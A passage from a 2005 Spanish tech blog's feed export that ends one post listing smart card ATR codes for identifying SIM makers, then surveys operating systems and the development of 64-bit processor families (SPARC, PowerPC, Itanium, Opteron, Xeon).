&amp;nbsp;#3b ef 00 00 40 14 80 25 43 45 52 45 53 57 05 60 01 02 03 90 00&lt;br&gt;
&lt;br&gt;
&lt;a href="http://www.exceldata.es/"&gt;Microelectr&amp;oacute;nica Espa&amp;ntilde;ola&lt;/a&gt; SIM (modelos desconocidos)&lt;br&gt;
&amp;nbsp;#3b db 11 00 c0 20 10 12 4d 4d 41 52 66 32 33 76 77 90 00&lt;br&gt;
&amp;nbsp;#3b dc 11 00 c0 20 10 12 4d 4d 41 52 f2 48 56 32 2e 33 90 00&lt;br&gt;
&amp;nbsp;#3b de 11 00 c0 20 10 12 4d 4d 41 52 32 31 2e 31 41 43 54 49 90 00&lt;br&gt;
&amp;nbsp;#3b df 11 00 c0 20 10 12 4d 4d 41 52 f2 48 56 32 2e 33 43 4f 4e 98 40&lt;br&gt;
&amp;nbsp;#3b df 11 00 c0 20 10 12 4d 4d 41 52 f2 2b 56 32 2e 31 50 52 45 9f 1a&lt;br&gt;
&amp;nbsp;#3b df 11 00 c0 20 10 12 4d 4d 41 52 f2 2b 56 31 2e 42 50 52 45 9f 1a&lt;br&gt;
&amp;nbsp;#3b df 11 00 c0 20 10 12 4d 4d 41 52 f2 48 56 32 2e 33 47 53 41 90 00&lt;/p&gt;
&lt;p&gt;La lista no es muy amplia, pero al menos es un comienzo...&lt;/p&gt;
&lt;p&gt;Una buena forma de ampliar la lista es usar la informaci&amp;oacute;n contenida en el software &lt;a href="http://www.sun.com/software/sunray/index.xml"&gt;Sun Ray Server Software&lt;/a&gt; (de &lt;a href="http://es.sun.com/"&gt;Sun Microsystems&lt;/a&gt;). Los terminales &lt;a href="http://www.sun.com/software/index.jsp?cat=Desktop&amp;tab=3&amp;subcat=Thin%20Clients"&gt;Sun Ray&lt;/a&gt; necesitan saber con exactitud qu&amp;eacute; tarjeta has introducido (porque necesitan obtener su n&amp;uacute;mero de serie, y la forma de obtenerlo es distinta para cada tarjeta), y para ello utilizan una serie de programas interpretados que se encuentran en el directorio &lt;code&gt;/etc/opt/SUNWut/smartcard/&lt;/code&gt; (estan en lenguaje SwapDrop, que es un derivado de FORTH, pero es f&amp;aacute;cil entenderlos y suelen estar muy bien comentados). Casi todos estos programillas se basan en &lt;i&gt;ATR&lt;/i&gt; conocidos para llevar a cabo la identificaci&amp;oacute;n.&lt;/p&gt;
&lt;p&gt;Ni que decir tiene que la gracia de conocer marca y modelo de una tarjeta es para empezar a &lt;i&gt;jugar&lt;/i&gt; con ella...&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-111909667879384165?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/111909667879384165/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=111909667879384165' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/111909667879384165'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/111909667879384165'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/06/identificar-tarjetas-inteligentes.html' title='Identificar tarjetas inteligentes'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-111839983423562468</id><published>2005-06-10T12:33:00.000+02:00</published><updated>2007-01-25T20:14:20.528+01:00</updated><title type='text'>Procesadores (parte 2)</title><content type='html'>&lt;p&gt;Y como el &lt;i&gt;hardware&lt;/i&gt; sin &lt;i&gt;software&lt;/i&gt; no nos es de mucha utilidad, vamos a terminar de hablar de procesadores comentando cuales son las distintas opciones de sistema operativo con las que contamos para cada arquitectura:&lt;/p&gt;
&lt;p&gt;&lt;font size="+2"&gt;SPARC&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;
 &lt;dl&gt;
  &lt;dt&gt;&lt;b&gt;Linux&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;Aunque las principales distribuciones de Linux (&lt;a href="http://www.novell.com/es-es/linux/suse/"&gt;SuSe&lt;/a&gt;, &lt;a href="http://www.redhat.com/"&gt;RedHat&lt;/a&gt;, etc) cuentan con versiones para SPARC (SPARCv9 incluido), no les dan soporte y a menudo est&amp;aacute;n desactualizadas.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Solaris / SunOS&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;El el sistema operativo por excelencia para SPARC, soportando pr&amp;aacute;cticamente todas las versiones de la arquitectura y con compatibilidad binaria hacia atr&amp;aacute;s hasta versiones realmente prehist&amp;oacute;ricas. Aunque &lt;a href="http://www.sun.com/software/solaris/"&gt;Solaris&lt;/a&gt; es un producto de Sun, se vende tambi&amp;eacute;n a trav&amp;eacute;s de otras compa&amp;ntilde;&amp;iacute;as, como &lt;a href="http://pf.toshiba-sol.co.jp/prod/unixsol/index_j.htm"&gt;Toshiba&lt;/a&gt; o &lt;a href="http://www.fujitsu-siemens.com/le/products/unix_servers/index.html"&gt;Fujitsu-Siemens&lt;/a&gt;. Podemos considerar Solaris como el sistema operativo &lt;a href="http://www.unix.org/"&gt;UNIX&lt;/a&gt; m&amp;aacute;s evolucionado.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Windows NT&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;A principios de la d&amp;eacute;cada de los 90 &lt;a href="http://www.intergraph.com/"&gt;Intergraph&lt;/a&gt; migr&amp;oacute; Windows NT 3.1 a la arquitectura &lt;a href="http://www.sparc.org/"&gt;SPARC&lt;/a&gt; gracias a un acuerdo con &lt;a href="http://www.microsoft.com/spain/"&gt;Microsoft&lt;/a&gt;, aunque esta versi&amp;oacute;n nunca lleg&amp;oacute; a salir al mercado. Se cree que Microsoft sigue manteniendo actualizada esta versi&amp;oacute;n por si en alg&amp;uacute;n momento le fuese de utilidad.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Otros sistemas operativos&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;SPARC se usa marginalmente (con la excepci&amp;oacute;n del mercado de reproductores de video digital, donde su aceptaci&amp;oacute;n a sido muy buena gracias a los procesadores &lt;a href="http://www.lsilogic.com/products/dvd_playback/ziva_5.html"&gt;ZiVA-5&lt;/a&gt;) en sectores verticales y cuenta con distintos sistemas operativos propietarios para aplicaciones empotradas. Un ejemplo significativo de estos sistemas operativos es &lt;a href="http://www.experimentalstuff.com/Technologies/ChorusOS/index.html"&gt;ChorusOS&lt;/a&gt;, sistema operativo de c&amp;oacute;digo fuente abierto de Sun Microsystems para aplicaciones en tiempo real. Tambi&amp;eacute;n disponemos en SPARC de las principales variantes de BSD (&lt;a href="http://openbsd.org/"&gt;OpenBSD&lt;/a&gt; y &lt;a href="http://www.freebsd.org/"&gt;FreeBSD&lt;/a&gt;)&lt;/dd&gt;
 &lt;/dl&gt;
&lt;/p&gt;

&lt;p&gt;&lt;font size="+2"&gt;PowerPC&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;
 &lt;dl&gt;
  &lt;dt&gt;&lt;b&gt;Linux&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;Hay distintos esfuerzos para consolidar distribuciones de Linux para arquitecturas PowerPC, pero el &amp;uacute;nico realmente valorable viene de parte de &lt;a href="http://www.ibm.com/es"&gt;IBM&lt;/a&gt; y su programa &lt;a href="http://www-1.ibm.com/servers/eserver/linux/power/?P_Site=Linux_ibm"&gt;Linux on POWER&lt;/a&gt;, que est&amp;aacute; ayudando enormemente a la consolidaci&amp;oacute;n de Linux en este entorno, aunque quiz&amp;aacute;s en detrimento de &lt;a href="http://www.ibm.com/servers/aix/"&gt;AIX&lt;/a&gt;.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;AIX&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;Versi&amp;oacute;n de UNIX de IBM. Es un sistema maduro, estable y consolidado en la industria.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Windows NT&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;Microsoft mantuvo en el mercado versiones para PowerPC de Windows NT desde la versi&amp;oacute;n 3.1 hasta la 4.0. El n&amp;uacute;cleo (&lt;i&gt;kernel&lt;/i&gt;) del sistema operativo de la consola de videojuegos Microsoft XBox 360 (de futura aparici&amp;oacute;n) es una evolución de esas versiones anteriores.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Mac OS X&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;Sistema operativo de &lt;a href="http://www.apple.com/es/"&gt;Apple&lt;/a&gt; que toma como base el sistema operativo multiplataforma (PowerPC y x86) de c&amp;oacute;digo fuente abierto &lt;a href="http://www.opendarwin.org/"&gt;Darwin&lt;/a&gt;, que a su vez es una evoluci&amp;oacute;n de &lt;a href="http://www.freebsd.org/"&gt;FreeBSD&lt;/a&gt; (derivado de UNIX). &lt;a href="http://www.apple.com/es/macosx/"&gt;Mac OS X&lt;/a&gt; es un sistema operativo orientado a estaciones de trabajo gr&amp;aacute;ficas que, pese a haberlo intentado, no ha conseguido calar en el mercado de los servidores, principalmente por falta de madurez y rendimiento del conjunto de la plataforma de Apple.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Solaris&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;Sun Microsystems anunci&amp;oacute; en 2004 la intenci&amp;oacute;n de portar Solaris a arquitecturas PowerPC (y lleg&amp;oacute; a tener prototipos internos de Solaris ejecut&amp;aacute;ndose en &lt;a href="http://www.ibm.com/servers/es/eserver/pseries/"&gt;pSeries&lt;/a&gt; de IBM), pero desacuerdos con IBM hicieron que la iniciativa no prosperase.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Otros sistemas operativos&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;PowerPC es un procesador muy extendido en el sector de la electr&amp;oacute;nica de consumo y otros sectores verticales, contando con sistemas operativos como &lt;a href="http://www.windriver.com/products/device_technologies/os/vxworks6/"&gt;VxWorks&lt;/a&gt;, &lt;a href="http://www.qnx.com/products/rtos/"&gt;QNX Neutrino&lt;/a&gt; o ChorusOS. Tambi&amp;eacute;n disponemos en PowerPC de las principales variantes de BSD (&lt;a href="http://openbsd.org/"&gt;OpenBSD&lt;/a&gt; y &lt;a href="http://www.freebsd.org/"&gt;FreeBSD&lt;/a&gt;)&lt;/dd&gt;
 &lt;/dl&gt;
&lt;/p&gt;

&lt;p&gt;&lt;font size="+2"&gt;Itanium 2&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;
 &lt;dl&gt;
  &lt;dt&gt;&lt;b&gt;Linux&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;Soportado por los principales distribuidores. Conviene destacar la plataforma &lt;a href="http://www.sgi.com/products/servers/altix/"&gt;Altrix&lt;/a&gt; de &lt;a href="http://www.sgi.com/"&gt;Silicon Graphics&lt;/a&gt;, donde se consigue que Linux escale hasta 512 procesadores con una &amp;uacute;nica instancia del sistema operativo.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Windows&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;Soportado en &lt;a href="http://www.microsoft.com/windowsserversystem/default.mspx"&gt;Windows Server 2003&lt;/a&gt;. Microsoft cancel&amp;oacute; a principios de 2005 la salida de Windows XP para plataforma Itanium por la baja presencia en el mercado de este tipo de procesadores en estaciones de trabajo.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;HP-UX&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;UNIX de HP, es el gran impulsor de los procesadores Itanium. Tras la (anunciada) pr&amp;oacute;xima desaparici&amp;oacute;n de los procesadores PA-RISC, HP centra su estrategia UNIX en Itanium, no sin gran riesgo.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;HP OpenVMS&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;A principios de 2005 HP present&amp;oacute; la versi&amp;oacute;n 8.2 de OpenVMS portada para su plataforma &lt;a href="http://www.hp.com/products1/servers/integrity/index.html"&gt;Integrity&lt;/a&gt;. OpenVMS deriva de VMS, antiguo sistema operativo de Digital que populariz&amp;oacute; la plataforma VAX.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;HP NonStop&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;En la primera mitad de 2005 HP present&amp;oacute; su plataforma NonStop portada a la plataforma Integrity. NonStop Kernel es la herencia de los antiguos sistemas Tanden, comprados por HP hace ya tiempo.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;GCOS 8&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;&lt;a href="http://www.bull.com/servers/gcos8/index.html"&gt;GCOS 8&lt;/a&gt;, la evoluci&amp;oacute;n de la plataforma &lt;i&gt;mainframe&lt;/i&gt; de &lt;a href="http://www.bull.com/"&gt;Bull&lt;/a&gt; se ejecuta ahora en la gama &lt;a href="http://www.bull.com/servers/gcos8/products/novascale9000/novascale9000.htm"&gt;NovaScale 9000&lt;/a&gt;, basada en los procesadores Itanium 2, dando fuerzas renovadas a las instalaciones &lt;i&gt;mainframe&lt;/i&gt; del fabricante franc&amp;eacute;s.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;AIX&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;IBM anunci&amp;oacute; durante el desarrollo de Itanium su intención de portar AIX a esta plataforma, pero finalmente cancel&amp;oacute; el proyecto a favor de sus propios procesadores POWER. IBM lleg&amp;oacute; a mostrar prototipos de AIX 5.1L corriendo sobre Itanium.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Otros sistemas operativos&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;La gran portabilidad de los sistemas operativos basados en BSD hace que nos los encontremos pr&amp;aacute;cticamente en todas las plataformas, e Itanium 2 no es una excepci&amp;oacute;n.&lt;/dd&gt;
 &lt;/dl&gt;
&lt;/p&gt;

&lt;p&gt;&lt;font size="+2"&gt;AMD Opteron&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;
 &lt;dl&gt;
  &lt;dt&gt;&lt;b&gt;Linux&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;Soportado por los principales distribuidores.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Windows&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;Soportado tanto en su versi&amp;oacute;n para servidores como en la destinada a estaciones de trabajo.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Solaris&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;Existe una versi&amp;oacute;n soportada de Solaris x86 con soporte nativo de la arquitectura AMD64.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Otros sistemas operativos&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;Sistemas operativos basados en BSD, como FreeBSD y OpenBSD.&lt;/dd&gt;
 &lt;/dl&gt;
&lt;/p&gt;

&lt;p&gt;&lt;font size="+2"&gt;Xeon EMT64&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;Conviene resaltar que, como dec&amp;iacute;amos en el art&amp;iacute;culo anterior, los procesadores Xeon &lt;a href="http://www.intel.com/cd/ids/developer/asmo-na/eng/dc/64bit/index.htm"&gt;EMT64&lt;/a&gt; necesitan un sistema operativo de 64 bits con soporte nativo de sus extensiones de 64 bits para aprovechar todo su potencial. Intel no proporciona informaci&amp;oacute;n sobre que sistemas implementan ya estas extensiones, as&amp;iacute; que nos referiremos aqu&amp;iacute; a la compatibilidad con &lt;a href="http://www.intel.com/products/processor/xeon/index.htm"&gt;Xeon&lt;/a&gt; en general.&lt;/p&gt;
&lt;p&gt;
 &lt;dl&gt;
  &lt;dt&gt;&lt;b&gt;Linux&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;Soportado por los principales distribuidores.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Windows&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;Soportado tanto en su versi&amp;oacute;n para servidores como en la destinada a estaciones de trabajo.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Solaris&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;Soportado en Solaris x86.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Plataformas UNIX de SCO&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;&lt;a href="http://sco.com/"&gt;SCO&lt;/a&gt; mantiene &lt;a href="http://sco.com/products/openserver6"&gt;OpenServer&lt;/a&gt; y &lt;a href="http://sco.com/products/unixware714"&gt;UnixWare&lt;/a&gt; para plataformas x86, pero perdiendo paulatinamente cuota de mercado, principalmente por el avance de Linux.&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Darwin&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;Como hemos comentado anteriormente, Darwin funciona (aunque Apple no ofrece soporte) bajo plataformas x86. Se especula adem&amp;aacute;s que Apple cuenta desde hace tiempo con una versi&amp;oacute;n interna de Mac OS X para x86, que le proporcionar&amp;iacute;a la capacidad de lanzar una linea basada en procesadores Intel en muy corto plazo (como de hecho se ha anunciado).&lt;/dd&gt;
  &lt;dt&gt;&lt;b&gt;Otros sistemas operativos&lt;/b&gt;&lt;/dt&gt;
  &lt;dd&gt;La popularidad de los procesadores x86 ha propiciado su uso en multitud de sistemas, existiendo un enorme n&amp;uacute;mero de sistemas operativos, tanto de caracter general como para aplicaciones verticales, disponibles para ellos, entre los que encontramos las variantes de BSD y la mayor&amp;iacute;a de los sistemas operativos en tiempo real.&lt;/dd&gt;
 &lt;/dl&gt;
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-111839983423562468?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/111839983423562468/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=111839983423562468' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/111839983423562468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/111839983423562468'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/06/procesadores-parte-2.html' title='Procesadores (parte 2)'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-111824224010311848</id><published>2005-06-08T16:45:00.000+02:00</published><updated>2007-01-25T20:14:10.396+01:00</updated><title type='text'>Procesadores</title><content type='html'>&lt;p&gt;Desde que Apple anunci&amp;oacute; sus planes de abandonar los procesadores PowerPC en favor de los productos de Intel se habla de las diferencias y ventajas de cada arquitectura, vamos a intentar pegar aqu&amp;iacute; un peque&amp;ntilde;o resumen contando un poco como ha evolucionado cada procesador (de 64 bits):&lt;/p&gt;
&lt;font size="+2"&gt;SPARC&lt;/font&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/sparc.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Como antecedente tomamos el trabajo de Les Kohn, antiguo ingeniero de microprocesadores de &lt;a href="http://intel.com/"&gt;Intel&lt;/a&gt; (creador del &lt;a href="http://www.intel.com/design/i960/"&gt;i960&lt;/a&gt;) y &lt;a href="http://es.sun.com/"&gt;Sun Microsystems&lt;/a&gt; (creador del primer &lt;a href="http://www.sun.com/processors/index.html"&gt;UltraSPARC&lt;/a&gt;), que en la compa&amp;ntilde;&amp;iacute;a C-Cube (comprada m&amp;aacute;s tarde por &lt;a href="http://www.lsilogic.com/"&gt;LSI Logic&lt;/a&gt;) crea el primer &lt;a href="http://www.sparc.com/"&gt;SPARC&lt;/a&gt; con arquitectura (potencialmente) multin&amp;uacute;cleo, el &lt;a href="http://www.lsilogic.com/products/dvd_playback/ziva_5.html"&gt;ZiVA-5&lt;/a&gt;. Tras completar el dise&amp;ntilde;o del ZiVA-5, Les Kohn crea su propia compa&amp;ntilde;&amp;iacute;a, Afara, la cual es comprada por Sun Microsystems.&lt;/p&gt;
&lt;p&gt;Sun Microsystems incorpora la tecnolog&amp;iacute;a de Afara, adelantando los dise&amp;ntilde;os multin&amp;uacute;cleo a la serie &lt;a href="http://www.sun.com/processors/UltraSPARC-IV/index.xml"&gt;UltraSPARC IV&lt;/a&gt;, pero cancela las l&amp;iacute;neas Gemini (&lt;a href="http://www.sun.com/processors/UltraSPARC-IIi/index.xml"&gt;UltraSPARC II&lt;/a&gt; de doble n&amp;uacute;cleo) y UltraSPARC V (dise&amp;ntilde;o multin&amp;uacute;cleo avanzado), dejando el futuro de los procesadores Sun Microsystems en el llamado &lt;i&gt;Rock&lt;/i&gt;, que, previsto para 2008, se supone ser&amp;aacute; un procesador avanzado de m&amp;uacute;ltiples n&amp;uacute;cleos (8) con varios hilos de ejecuci&amp;oacute;n por n&amp;uacute;cleo (4). El vac&amp;iacute;o entre el UltraSPARC IV y &lt;i&gt;Rock&lt;/i&gt; se piensa cubrir mediante un acuerdo con &lt;a href="http://www.fujitsu.com/es/"&gt;Fujitsu&lt;/a&gt; que permite a Sun utilizar los procesadores de este, a la espera de contar con dise&amp;ntilde;os propios. Los anunciados procesadores UltraSPARC IV+ y UltraSPARC IV Cu son evoluciones del UltraSPARC IV con mejoras (tecnol&amp;oacute;gicamente) menores (cobre, aumento de cach&amp;eacute;, 90nm, etc.).&lt;/p&gt;
&lt;p&gt;Fujitsu por su parte, evolucion&amp;oacute; r&amp;aacute;pidamente su l&amp;iacute;nea SPARC64 IV consolidando de forma temprana la fabricaci&amp;oacute;n en 90nm (algo que Sun, dependiente en este aspecto de sus acuerdos con &lt;a href="http://www.texasinstruments.com/"&gt;Texas Instruments&lt;/a&gt;, tard&amp;oacute; en alcanzar) consiguiendo mejoras de velocidad considerables respecto al UltraSPARC III. Su l&amp;iacute;nea SPARC64 VI (multin&amp;uacute;cleo) se espera para finales de a&amp;ntilde;o, aunque acumula ya cierto retraso respecto a las previsiones iniciales.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;font size="+2"&gt;PowerPC&lt;/font&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/powerpc.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;IBM SERIE G (G5)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Gracias a acuerdos con &lt;a href="http://www.microsoft.com/"&gt;Microsoft&lt;/a&gt;, &lt;a href="http://www.ibm.com/"&gt;IBM&lt;/a&gt; ha desarrollado un procesador PowerPC para la consola &lt;a href="http://www.xbox.com/es-ES/default.htm"&gt;Xbox&lt;/a&gt;, similar al &lt;a href="http://www.apple.com/g5processor/"&gt;G5&lt;/a&gt; utilizado por &lt;a href="http://www.apple.com/es/"&gt;Apple&lt;/a&gt;, y que cuenta con tres n&amp;uacute;cleos sim&amp;eacute;tricos a 3.2 GHz cada uno, estando previsto su lanzamiento a finales de 2005.&lt;/p&gt;
&lt;p&gt;Mediante acuerdos con &lt;a href="http://www.nintendo-europe.com/NOE/es/ES/home/index.do"&gt;Nintendo&lt;/a&gt; (con quien previamente IBM hab&amp;iacute;a desarrollado el procesador PowerPC Gekko) IBM est&amp;aacute; desarrollando el procesador Hollywood, consistente en una arquitectura basada en el G5, pero con 4 n&amp;uacute;cleos a 2.5 GHz. El lanzamiento se espera para finales de 2006 o principios de 2007.&lt;/p&gt;
&lt;p&gt;Siguiendo los acuerdos alcanzados con Apple en los inicios de la arquitectura PowerPC, IBM ha sacado recientemente el procesador PowerPC 970 MP, que es un G5 con doble n&amp;uacute;cleo creado para las estaciones de trabajo Apple. Conviene comentar que Apple ha anunciado un acuerdo con &lt;a href="http://www.intel.com/cd/corporate/europe/emea/spa/182884.htm"&gt;Intel&lt;/a&gt; que podr&amp;iacute;a significar la transici&amp;oacute;n desde PowerPC a Intel en su gama de computadoras, qued&amp;aacute;ndose IBM sin el mayor comprador de procesadores PowerPC G5.&lt;/p&gt;
&lt;p&gt;Los procesadores pasados en las series G se est&amp;aacute;n incorporando progresivamente en la gama de servidores de IBM, empezando por los &lt;a href="http://www.ibm.com/servers/es/eserver/bladecenter/"&gt;Blade&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;IBM SERIE POWER (POWER5)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Los procesadores &lt;a href="http://www.ibm.com/technology/power/"&gt;POWER5&lt;/a&gt; de IBM, presentes en su gama &lt;a href="http://www-1.ibm.com/servers/eserver/pseries/"&gt;pSeries&lt;/a&gt; cuentan con arquitecturas de doble n&amp;uacute;cleo, aunque se han presentado prototipos funcionales de ocho n&amp;uacute;cleos (de futuro incierto, puesto que no se han hecho comunicados posteriores).&lt;/p&gt;
&lt;p&gt;Se esperan mejoras tecnol&amp;oacute;gicas menores para la serie POWER5, como la bajada de tama&amp;ntilde;o (&lt;i&gt;die size&lt;/i&gt;), consolidar procesos de fabricaci&amp;oacute;n en tama&amp;ntilde;os menores a 90nm, etc.&lt;/p&gt;
&lt;p&gt;IBM no ha desvelado detalles ni fechas concretas de lanzamiento de su pr&amp;oacute;xima serie POWER6.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;IBM– SONY–TOSHIBA SERIE CELL PROCESSOR&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Mediante desarrollos conjuntos IBM-&lt;a href="http://www.research.scea.com/"&gt;Sony&lt;/a&gt;-&lt;a href="http://www.toshiba.co.jp/"&gt;Toshiba&lt;/a&gt; se ha desarrollado una nueva arquitectura (innovadora, muy avanzada) de procesadores basados en celdas, las cuales contienen las llamadas unidades de proceso acopladas (APU); estas celdas se coordinan mediante una unidad de proceso (PU) PowerPC de 64 bits. El primer procesador se espera para el a&amp;ntilde;o que viene incorporado en la consola de videojuegos PlayStation 3 de Sony, con 7 celdas (8-1) y 3.2 GHz (se llegaron a mostrar prototipos funcionales a m&amp;aacute;s de 4 GHz).&lt;/p&gt;
&lt;p&gt;IBM ha presentado paralelamente una placa para servidor Blade con 2 Cell Processor de 7 n&amp;uacute;cleos y 4 hilos de ejecuci&amp;oacute;n por n&amp;uacute;cleo. El prototipo ejecutaba &lt;a href="http://www.ibm.com/linux/"&gt;Linux&lt;/a&gt;, aunque no se espera un lanzamiento comercial hasta 2007 (ten&amp;iacute;an problemas con la disipaci&amp;oacute;n de calor).&lt;/p&gt;
&lt;p&gt;Los procesadores basados en celdas se espera den un rendimiento 10 veces superior al de los actuales G5.&lt;/p&gt;
&lt;p&gt;Toshiba ha anunciado una serie para electr&amp;oacute;nica de consumo, que contar&amp;iacute;a inicialmente con 5 celdas/APU (6-1) y capacidades de tratamiento de video de alta definici&amp;oacute;n.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;IBM SERIE DE CONSUMO&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Adem&amp;aacute;s de los procesadores PowerPC de IBM antes comentados, IBM evoluciona paralelamente una l&amp;iacute;nea para electr&amp;oacute;nica de consumo ampliamente aceptada en el mercado.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;MOTOROLA / FREESCALE&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Conviene resaltar que, aunque no lo refleje el diagrama, Motorola (ahora &lt;a href="http://www.freescale.com/"&gt;Freescale&lt;/a&gt;) es licenciatario (y creador junto a IBM y Apple) de la tecnolog&amp;iacute;a PowerPC, y cuenta con sus propios desarrollos, principalmente orientados a la electr&amp;oacute;nica de consumo; aunque sigue fabricando la serie G4 (PowerPC 7451), utilizado en los ordenadores port&amp;aacute;tiles de Apple, donde el G5 no se puede usar debido a la enorme cantidad de calor que disipa.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;font size="+2"&gt;Intel Itanium 2&lt;/font&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/itanium.jpg"&gt;&lt;/p&gt;
&lt;p&gt;La evoluci&amp;oacute;n tecnol&amp;oacute;gica inmediata de &lt;a href="http://www.intel.com/products/processor/itanium2/index.htm"&gt;Itanium 2&lt;/a&gt; es el procesador con nombre en clave &lt;i&gt;Montecito&lt;/i&gt;, que incorporar&amp;aacute; doble n&amp;uacute;cleo. &lt;i&gt;Montecito&lt;/i&gt; se esperaba inicialmente para principios de 2004 como procesador de simple n&amp;uacute;cleo, mientras que en 2005 deb&amp;iacute;a aparecer una versi&amp;oacute;n m&amp;aacute;s avanzada llamada &lt;i&gt;Tukwilla&lt;/i&gt; (multin&amp;uacute;cleo, se espera con 4 u 8 n&amp;uacute;cleos), la cual &lt;a href="http://www.intel.com/"&gt;Intel&lt;/a&gt; sit&amp;uacute;a ahora para el 2007, mientras que anuncia que &lt;i&gt;Montvale&lt;/i&gt;, una versi&amp;oacute;n intermedia entre &lt;i&gt;Montecito&lt;/i&gt; y &lt;i&gt;Tukwilla&lt;/i&gt; para el 2006). La 